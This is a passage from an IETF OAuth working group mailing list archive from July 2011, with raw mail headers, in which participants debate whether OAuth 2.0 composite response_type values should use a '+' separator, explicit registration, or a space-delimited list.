individual items). > >> > >> As a side note, using + as separator could cause lots of problems. If > >> people naively type "code+toke" it will be decoded as "code token". > >> No one will remember the hex code for +. > >> > >> Marius > >> _______________________________________________ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > > >=20 >=20 >=20 > -- > --Breno From breno@google.com Tue Jul 12 11:18:09 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4DBB621F8C7D for ; Tue, 12 Jul 2011 11:18:09 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.377 X-Spam-Level: X-Spam-Status: No, score=-105.377 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 8KT2hwNSlo40 for ; Tue, 12 Jul 2011 11:18:08 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [216.239.44.51]) by ietfa.amsl.com (Postfix) with ESMTP id 5E78921F8532 for ; Tue, 12 Jul 2011 11:18:08 -0700 (PDT) Received: from kpbe15.cbf.corp.google.com (kpbe15.cbf.corp.google.com [172.25.105.79]) by smtp-out.google.com with ESMTP id p6CII7DH029293 for ; Tue, 12 Jul 2011 11:18:07 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1310494688; bh=EtAv4nPnip9u6BClX9qChb27JP4=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type:Content-Transfer-Encoding; b=itNb0AWy442XoYVCAXs1fnMnYiKjaGB68cIndk+gAdyYSEaSExzoh8j+m6hjyBQIB D6p8rsk2tAhbDlqLlZ0tA== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:date: message-id:subject:from:to:cc:content-type: content-transfer-encoding:x-system-of-record; b=hV/MvUXFCaU2nYrZ5He0OjXnVnVoka5qk5JKHncCYic460RjqYAhAY7kQGa3QdAJa 7JAFs6dlAd2XdmS/KQ3tg== Received: from yic13 (yic13.prod.google.com [10.243.65.141]) by kpbe15.cbf.corp.google.com with ESMTP id p6CII1vP001934 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Tue, 12 Jul 2011 11:18:06 -0700 Received: by yic13 with SMTP id 13so3221232yic.27 for ; Tue, 12 Jul 2011 11:18:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=R3rtGGZppRXHrYaXyU+umy2c8VaQeK+nluFjZr685mA=; b=Kg8nT2bL9uk1qdyk4f3XJmHL/5ZMQxMIjWVyCibyX1CWkj+PaW0UqE6ekpP7Hqmqy3 cCsRdXMgUFXvoJjJyMEw== MIME-Version: 1.0 Received: by 10.101.189.38 with SMTP id r38mr231317anp.119.1310494686469; Tue, 12 Jul 2011 11:18:06 -0700 (PDT) Received: by 10.101.49.19 with HTTP; Tue, 12 Jul 2011 11:18:06 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A058C@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A058C@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Tue, 12 Jul 2011 11:18:06 -0700 Message-ID: From: Breno de Medeiros To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-System-Of-Record: true Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 18:18:09 -0000 On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav wrot= e: > Requiring parsing of the response type parameter is a big change at this = point. Even if it is a decent idea, I'm against it for the sole reason that= I don't want to introduce such a change - we're done. > > The + character makes reading values easier because it give composites of= existing, individually defined values, a special meaning to *people*, but = it does not change any existing code or adds any work. Servers will still p= erform simple string comparison. Parsing a list of values is unnecessary co= mplexity. Developers can learn to put values in their expected order (since= they are all going to cut-n-paste anyway). I disagree. I believe that servers will either not support the composite types at all, or will allow developers to enter it into any order to avoid developer pain. Also, developers will _not_ cut-and-paste. They will expect the fact that order is not meaningful by interacting with providers that don't perform exact string matching and then have interoperability issues with compliant implementations. > > I rather drop the special character then add parsing, but I think it is a= useful *convention*. > > Do people want to keep it or drop it? > > EHL > > >> -----Original Message----- >> From: Breno de Medeiros [mailto:breno@google.com] >> Sent: Tuesday, July 12, 2011 10:59 AM >> To: Eran Hammer-Lahav >> Cc: Marius Scurtescu; OAuth WG >> Subject: Re: [OAUTH-WG] defining new response types >> >> Imposing order and exact string matching on response_type's while >> simultaneously supporting a special character '+' and introducing the co= ncept >> of composite response_type is a poor compromise, IMNSHO. What is the >> rationale to fear allowing multiple-valued response_type as we have for >> other parameters in the spec? >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav >> wrote: >> > As for the plus encoding we can choose another char or give an example= . >> > >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" >> wrote: >> > >> >> If I read section 8.4 correctly it seems that new response types can >> >> be defined but composite values must be registered explicitly. >> >> >> >> I don't think this approach scales too well. OpenID Connect for >> >> example is adding a new response type: id_token. >> >> >> >> id_token can be combined with either code or token and potentially >> >> with both of them, the following combinations must be registered as a >> >> result: >> >> code+id_token >> >> token+id_token >> >> code+token+id_token >> >> >> >> and this assumes that code+token is already registered. >> >> >> >> I think it makes more sense to define response_type as a space >> >> separated list of items, where each item can be individually >> >> registered. I do realize that this complicates things quite a bit >> >> (not we have to define and deal with both composite response_type and >> >> the individual items). >> >> >> >> As a side note, using + as separator could cause lots of problems. If >> >> people naively type "code+toke" it will be decoded as "code token". >> >> No one will remember the hex code for +. >> >> >> >> Marius >> >> _______________________________________________ >> >> OAuth mailing list >> >> OAuth@ietf.org >> >> https://www.ietf.org/mailman/listinfo/oauth >> > >> >> >> >> -- >> --Breno > --=20 --Breno From eran@hueniverse.com Tue Jul 12 11:36:41 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B679921F8E2D for ; Tue, 12 Jul 2011 11:36:41 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.313 X-Spam-Level: X-Spam-Status: No, score=-2.313 tagged_above=-999 required=5 tests=[AWL=-0.314, BAYES_00=-2.599, J_CHICKENPOX_45=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 7+UjLEpkBtG2 for ; Tue, 12 Jul 2011 11:36:41 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 1517A21F8E47 for ; Tue, 12 Jul 2011 11:36:41 -0700 (PDT) Received: (qmail 21264 invoked from network); 12 Jul 2011 18:36:40 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 12 Jul 2011 18:36:40 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Tue, 12 Jul 2011 11:36:34 -0700 From: Eran Hammer-Lahav To: Breno de Medeiros Date: Tue, 12 Jul 2011 11:36:23 -0700 Thread-Topic: [OAUTH-WG] defining new response types Thread-Index: AcxAwA5fiMVogYZVRLWzPDsQN1qzcQAAWulg Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A05A6@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A058C@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 18:36:41 -0000 That's pretty farfetched. In previous versions we had 'code_and_token' whic= h was a composite value but without any special characters. If people think= that we need to force such values to avoid this claimed developer confusio= n, let's drop the + and be done. The only requirement I was asked to cover was to allow response type extens= ibility. If there is WG consensus to also support the requirement of compos= ite values using any order, we can discuss that. In addition, defining a parsing method adds a significant amount of new com= plexity beyond just splitting the string: * It allows for composite values that make no sense (since anything goes, c= omposite values are not registered, just the components). * Additional error codes are needed to indicate bad format, unsupported val= ues (specify which one), unsupported combinations, etc. * Developers lose the benefit of a simple registry with every possible comb= ination they may choose. So the two questions are: 1. Do you find the + proposal as defined in -18 to be useful or confusing? 2. Should the protocol support dynamic composite values with the added comp= lexity (breaking change)? EHL > -----Original Message----- > From: Breno de Medeiros [mailto:breno@google.com] > Sent: Tuesday, July 12, 2011 11:18 AM > To: Eran Hammer-Lahav > Cc: Marius Scurtescu; OAuth WG > Subject: Re: [OAUTH-WG] defining new response types >=20 > On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav > wrote: > > Requiring parsing of the response type parameter is a big change at thi= s > point. Even if it is a decent idea, I'm against it for the sole reason th= at I don't > want to introduce such a change - we're done. > > > > The + character makes reading values easier because it give composites = of > existing, individually defined values, a special meaning to *people*, but= it > does not change any existing code or adds any work. Servers will still pe= rform > simple string comparison. Parsing a list of values is unnecessary complex= ity. > Developers can learn to put values in their expected order (since they ar= e all > going to cut-n-paste anyway). >=20 > I disagree. I believe that servers will either not support the composite = types > at all, or will allow developers to enter it into any order to avoid deve= loper > pain. >=20 > Also, developers will _not_ cut-and-paste. They will expect the fact that > order is not meaningful by interacting with providers that don't perform > exact string matching and then have interoperability issues with complian= t > implementations. >=20 > > > > I rather drop the special character then add parsing, but I think it is= a useful > *convention*. > > > > Do people want to keep it or drop it? > > > > EHL > > > > > >> -----Original Message----- > >> From: Breno de Medeiros [mailto:breno@google.com] > >> Sent: Tuesday, July 12, 2011 10:59 AM > >> To: Eran Hammer-Lahav > >> Cc: Marius Scurtescu; OAuth WG > >> Subject: Re: [OAUTH-WG] defining new response types > >> > >> Imposing order and exact string matching on response_type's while > >> simultaneously supporting a special character '+' and introducing the > >> concept of composite response_type is a poor compromise, IMNSHO. > What > >> is the rationale to fear allowing multiple-valued response_type as we > >> have for other parameters in the spec? > >> > >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav > >> > >> wrote: > >> > As for the plus encoding we can choose another char or give an > example. > >> > > >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" > >> > > >> wrote: > >> > > >> >> If I read section 8.4 correctly it seems that new response types > >> >> can be defined but composite values must be registered explicitly. > >> >> > >> >> I don't think this approach scales too well. OpenID Connect for > >> >> example is adding a new response type: id_token. > >> >> > >> >> id_token can be combined with either code or token and potentially > >> >> with both of them, the following combinations must be registered > >> >> as a > >> >> result: > >> >> code+id_token > >> >> token+id_token > >> >> code+token+id_token > >> >> > >> >> and this assumes that code+token is already registered. > >> >> > >> >> I think it makes more sense to define response_type as a space > >> >> separated list of items, where each item can be individually > >> >> registered. I do realize that this complicates things quite a bit > >> >> (not we have to define and deal with both composite response_type > >> >> and the individual items). > >> >> > >> >> As a side note, using + as separator could cause lots of problems. > >> >> If people naively type "code+toke" it will be decoded as "code toke= n". > >> >> No one will remember the hex code for +. > >> >> > >> >> Marius > >> >> _______________________________________________ > >> >> OAuth mailing list > >> >> OAuth@ietf.org > >> >> https://www.ietf.org/mailman/listinfo/oauth > >> > > >> > >> > >> > >> -- > >> --Breno > > >=20 >=20 >=20 > -- > --Breno From breno@google.com Tue Jul 12 11:48:43 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A714821F8D34 for ; Tue, 12 Jul 2011 11:48:43 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.377 X-Spam-Level: X-Spam-Status: No, score=-105.377 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id JqQZvLBnCARV for ; Tue, 12 Jul 2011 11:48:40 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [74.125.121.67]) by ietfa.amsl.com (Postfix) with ESMTP id A8BC821F8E8E for ; Tue, 12 Jul 2011 11:48:25 -0700 (PDT) Received: from kpbe16.cbf.corp.google.com (kpbe16.cbf.corp.google.com [172.25.105.80]) by smtp-out.google.com with ESMTP id p6CImNcZ019964 for ; Tue, 12 Jul 2011 11:48:24 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1310496504; bh=AxyDdAk6VlPdkwSRpdTYKK24k1g=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type:Content-Transfer-Encoding; b=ZHsuNuTVd49pvSiDuDxc6EVgsEPIMSkMTmhq+1seRHY/SBzHfOgc17owwMmgR7+6C 4BV+aWKK1A/fZxBGErVXw== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:date: message-id:subject:from:to:cc:content-type: content-transfer-encoding:x-system-of-record; b=Ch/gRKYAwp0cU+foqVI7kqQmLMa18gkwxGtVXa5KcyfkQOzs5atQET8AqKWbK1CmN fqVlfX6YO3o1I0yGkKqtw== Received: from ywm21 (ywm21.prod.google.com [10.192.13.21]) by kpbe16.cbf.corp.google.com with ESMTP id p6CIlf7Y015497 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Tue, 12 Jul 2011 11:48:22 -0700 Received: by ywm21 with SMTP id 21so2393594ywm.12 for ; Tue, 12 Jul 2011 11:48:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=d/XJes363XEaj+tifwgAMhzb4MtXWIib37PRsLwAiog=; b=dnmkab/bm3BO5jSYggwvK4fekavxHWcHeo4OVL+vtLxoV0jGscqV8t1MZfqEWDATBq 0wodfRFYNMvdywf4/b9w== MIME-Version: 1.0 Received: by 10.101.25.9 with SMTP id c9mr319396anj.9.1310496502263; Tue, 12 Jul 2011 11:48:22 -0700 (PDT) Received: by 10.101.49.19 with HTTP; Tue, 12 Jul 2011 11:48:22 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A05A6@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A058C@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D4A05A6@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Tue, 12 Jul 2011 11:48:22 -0700 Message-ID: From: Breno de Medeiros To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-System-Of-Record: true Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 18:48:43 -0000 On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav wrot= e: > That's pretty farfetched. In previous versions we had 'code_and_token' wh= ich was a composite value but without any special characters. If people thi= nk that we need to force such values to avoid this claimed developer confus= ion, let's drop the + and be done. > Maybe far fetched, but it's already available in our production environment -- we had implemented the code_and_token approach earlier (though not documented it) but abandoned that route as we thought the exponential explosion was harmful when we started contemplating adding new types and allowing various combinations of them. > The only requirement I was asked to cover was to allow response type exte= nsibility. If there is WG consensus to also support the requirement of comp= osite values using any order, we can discuss that. Let's. > > In addition, defining a parsing method adds a significant amount of new c= omplexity beyond just splitting the string: > > * It allows for composite values that make no sense (since anything goes,= composite values are not registered, just the components). > * Additional error codes are needed to indicate bad format, unsupported v= alues (specify which one), unsupported combinations, etc. > * Developers lose the benefit of a simple registry with every possible co= mbination they may choose. > > So the two questions are: > > 1. Do you find the + proposal as defined in -18 to be useful or confusing= ? It is ugly. > 2. Should the protocol support dynamic composite values with the added co= mplexity (breaking change)? That's my preference. > > EHL > >> -----Original Message----- >> From: Breno de Medeiros [mailto:breno@google.com] >> Sent: Tuesday, July 12, 2011 11:18 AM >> To: Eran Hammer-Lahav >> Cc: Marius Scurtescu; OAuth WG >> Subject: Re: [OAUTH-WG] defining new response types >> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav >> wrote: >> > Requiring parsing of the response type parameter is a big change at th= is >> point. Even if it is a decent idea, I'm against it for the sole reason t= hat I don't >> want to introduce such a change - we're done. >> > >> > The + character makes reading values easier because it give composites= of >> existing, individually defined values, a special meaning to *people*, bu= t it >> does not change any existing code or adds any work. Servers will still p= erform >> simple string comparison. Parsing a list of values is unnecessary comple= xity. >> Developers can learn to put values in their expected order (since they a= re all >> going to cut-n-paste anyway). >> >> I disagree. I believe that servers will either not support the composite= types >> at all, or will allow developers to enter it into any order to avoid dev= eloper >> pain. >> >> Also, developers will _not_ cut-and-paste. They will expect the fact tha= t >> order is not meaningful by interacting with providers that don't perform >> exact string matching and then have interoperability issues with complia= nt >> implementations. >> >> > >> > I rather drop the special character then add parsing, but I think it i= s a useful >> *convention*. >> > >> > Do people want to keep it or drop it? >> > >> > EHL >> > >> > >> >> -----Original Message----- >> >> From: Breno de Medeiros [mailto:breno@google.com] >> >> Sent: Tuesday, July 12, 2011 10:59 AM >> >> To: Eran Hammer-Lahav >> >> Cc: Marius Scurtescu; OAuth WG >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> Imposing order and exact string matching on response_type's while >> >> simultaneously supporting a special character '+' and introducing the >> >> concept of composite response_type is a poor compromise, IMNSHO. >> What >> >> is the rationale to fear allowing multiple-valued response_type as we >> >> have for other parameters in the spec? >> >> >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav >> >> >> >> wrote: >> >> > As for the plus encoding we can choose another char or give an >> example. >> >> > >> >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" >> >> > >> >> wrote: >> >> > >> >> >> If I read section 8.4 correctly it seems that new response types >> >> >> can be defined but composite values must be registered explicitly. >> >> >> >> >> >> I don't think this approach scales too well. OpenID Connect for >> >> >> example is adding a new response type: id_token. >> >> >> >> >> >> id_token can be combined with either code or token and potentially >> >> >> with both of them, the following combinations must be registered >> >> >> as a >> >> >> result: >> >> >> code+id_token >> >> >> token+id_token >> >> >> code+token+id_token >> >> >> >> >> >> and this assumes that code+token is already registered. >> >> >> >> >> >> I think it makes more sense to define response_type as a space >> >> >> separated list of items, where each item can be individually >> >> >> registered. I do realize that this complicates things quite a bit >> >> >> (not we have to define and deal with both composite response_type >> >> >> and the individual items). >> >> >> >> >> >> As a side note, using + as separator could cause lots of problems. >> >> >> If people naively type "code+toke" it will be decoded as "code tok= en". >> >> >> No one will remember the hex code for +. >> >> >> >> >> >> Marius >> >> >> _______________________________________________ >> >> >> OAuth mailing list >> >> >> OAuth@ietf.org >> >> >> https://www.ietf.org/mailman/listinfo/oauth >> >> > >> >> >> >> >> >> >> >> -- >> >> --Breno >> > >> >> >> >> -- >> --Breno > --=20 --Breno From Michael.Jones@microsoft.com Tue Jul 12 13:32:01 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EF88221F859C for ; Tue, 12 Jul 2011 13:32:01 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.299 X-Spam-Level: X-Spam-Status: No, score=-10.299 tagged_above=-999 required=5 tests=[AWL=-0.300, BAYES_00=-2.599, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ezxLYWfj-rB2 for ; Tue, 12 Jul 2011 13:31:58 -0700 (PDT) Received: from smtp.microsoft.com (mail2.microsoft.com [131.107.115.215]) by ietfa.amsl.com (Postfix) with ESMTP id F3B5521F8519 for ; Tue, 12 Jul 2011 13:31:57 -0700 (PDT) Received: from TK5EX14MLTC104.redmond.corp.microsoft.com (157.54.79.159) by TK5-EXGWY-E802.partners.extranet.microsoft.com (10.251.56.168) with Microsoft SMTP Server (TLS) id 8.2.176.0; Tue, 12 Jul 2011 13:31:57 -0700 Received: from TK5EX14MBXC201.redmond.corp.microsoft.com ([169.254.8.198]) by TK5EX14MLTC104.redmond.corp.microsoft.com ([157.54.79.159]) with mapi id 14.01.0323.002; Tue, 12 Jul 2011 13:31:56 -0700 From: Mike Jones To: OAuth WG Thread-Topic: [OAUTH-WG] defining new response types Thread-Index: AQHMQDAag6evnBnF30CvXgkQ9SShJZToYWCAgAEOdYCAAAMvgIAAAgsAgAAFHICAAANZAP//poSg Date: Tue, 12 Jul 2011 20:31:56 +0000 Message-ID: <4E1F6AAD24975D4BA5B168042967394348D46521@TK5EX14MBXC201.redmond.corp.microsoft.com> References: <85A6E014-25A0-4970-8741-2F174B20688E@hueniverse.com> <90C41DD21FB7C64BB94121FBBC2E7234501D4A058C@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D4A05A6@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.79] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 12 Jul 2011 20:32:02 -0000 As a data point motivating this functionality, the OpenID Connect Core spec= currently includes: response_type A space delimited, case sensitive list of string values (Pending OAuth 2.0 changes). Acceptable values include "code", "token", and "none". The value MUST include "code" for requesting an Authorization Code, "token" for requesting an Access Token, and "none" if no response is needed. The OpenID Connect Session Management spec also defines an "id_token" respo= nse_type. Combinations of these (other than "none") are meaningful and use= d. The syntax for this can change, but this functionality is very important to= OpenID Connect as it is currently written. Thanks, -- Mike -----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of B= reno de Medeiros Sent: Tuesday, July 12, 2011 11:48 AM To: Eran Hammer-Lahav Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav wrot= e: > That's pretty farfetched. In previous versions we had 'code_and_token' wh= ich was a composite value but without any special characters. If people thi= nk that we need to force such values to avoid this claimed developer confus= ion, let's drop the + and be done. > Maybe far fetched, but it's already available in our production environment= -- we had implemented the code_and_token approach earlier (though not docu= mented it) but abandoned that route as we thought the exponential explosion= was harmful when we started contemplating adding new types and allowing va= rious combinations of them. > The only requirement I was asked to cover was to allow response type exte= nsibility. If there is WG consensus to also support the requirement of comp= osite values using any order, we can discuss that. Let's. > > In addition, defining a parsing method adds a significant amount of new c= omplexity beyond just splitting the string: > > * It allows for composite values that make no sense (since anything goes,= composite values are not registered, just the components). > * Additional error codes are needed to indicate bad format, unsupported v= alues (specify which one), unsupported combinations, etc. > * Developers lose the benefit of a simple registry with every possible co= mbination they may choose. > > So the two questions are: > > 1. Do you find the + proposal as defined in -18 to be useful or confusing= ? It is ugly. > 2. Should the protocol support dynamic composite values with the added co= mplexity (breaking change)? That's my preference. > > EHL > >> -----Original Message----- >> From: Breno de Medeiros [mailto:breno@google.com] >> Sent: Tuesday, July 12, 2011 11:18 AM >> To: Eran Hammer-Lahav >> Cc: Marius Scurtescu; OAuth WG >> Subject: Re: [OAUTH-WG] defining new response types >> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav=20 >> >> wrote: >> > Requiring parsing of the response type parameter is a big change at=20 >> > this >> point. Even if it is a decent idea, I'm against it for the sole=20 >> reason that I don't want to introduce such a change - we're done. >> > >> > The + character makes reading values easier because it give=20 >> > composites of >> existing, individually defined values, a special meaning to *people*,=20 >> but it does not change any existing code or adds any work. Servers=20 >> will still perform simple string comparison. Parsing a list of values is= unnecessary complexity. >> Developers can learn to put values in their expected order (since=20 >> they are all going to cut-n-paste anyway). >> >> I disagree. I believe that servers will either not support the=20 >> composite types at all, or will allow developers to enter it into any=20 >> order to avoid developer pain. >> >> Also, developers will _not_ cut-and-paste. They will expect the fact=20 >> that order is not meaningful by interacting with providers that don't=20 >> perform exact string matching and then have interoperability issues=20 >> with compliant implementations. >> >> > >> > I rather drop the special character then add parsing, but I think=20 >> > it is a useful >> *convention*. >> > >> > Do people want to keep it or drop it? >> > >> > EHL >> > >> > >> >> -----Original Message----- >> >> From: Breno de Medeiros [mailto:breno@google.com] >> >> Sent: Tuesday, July 12, 2011 10:59 AM >> >> To: Eran Hammer-Lahav >> >> Cc: Marius Scurtescu; OAuth WG >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> Imposing order and exact string matching on response_type's while=20 >> >> simultaneously supporting a special character '+' and introducing=20 >> >> the concept of composite response_type is a poor compromise, IMNSHO. >> What >> >> is the rationale to fear allowing multiple-valued response_type as=20 >> >> we have for other parameters in the spec? >> >> >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav=20 >> >> >> >> wrote: >> >> > As for the plus encoding we can choose another char or give an >> example. >> >> > >> >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" >> >> > >> >> wrote: >> >> > >> >> >> If I read section 8.4 correctly it seems that new response=20 >> >> >> types can be defined but composite values must be registered expli= citly. >> >> >> >> >> >> I don't think this approach scales too well. OpenID Connect for=20 >> >> >> example is adding a new response type: id_token. >> >> >> >> >> >> id_token can be combined with either code or token and=20 >> >> >> potentially with both of them, the following combinations must=20 >> >> >> be registered as a >> >> >> result: >> >> >> code+id_token >> >> >> token+id_token >> >> >> code+token+id_token >> >> >> >> >> >> and this assumes that code+token is already registered. >> >> >> >> >> >> I think it makes more sense to define response_type as a space=20 >> >> >> separated list of items, where each item can be individually=20 >> >> >> registered. I do realize that this complicates things quite a=20 >> >> >> bit (not we have to define and deal with both composite=20 >> >> >> response_type and the individual items). >> >> >> >> >> >> As a side note, using + as separator could cause lots of problems. >> >> >> If people naively type "code+toke" it will be decoded as "code tok= en". >> >> >> No one will remember the hex code for +. >> >> >> >> >> >> Marius >> >> >> _______________________________________________ >> >> >> OAuth mailing list >> >> >> OAuth@ietf.org >> >> >> https://www.ietf.org/mailman/listinfo/oauth >> >> > >> >> >> >> >> >> >> >> -- >> >> --Breno >> > >> >> >> >> -- >> --Breno > -- --Breno _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth From eran@hueniverse.com Tue Jul 12 13:36:56 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 27C9721F8B0C for ; Tue, 12 Jul 2011 13:36:56 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.307 X-Spam-Level: X-Spam-Status: No, score=-2.307 tagged_above=-999 required=5 tests=[AWL=-0.308, BAYES_00=-2.599, J_CHICKENPOX_45=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id sNRneUjM12jI for ; Tue, 12 Jul 2011 13:36:55 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 5FEB621F8B10 for ; Tue, 12 Jul 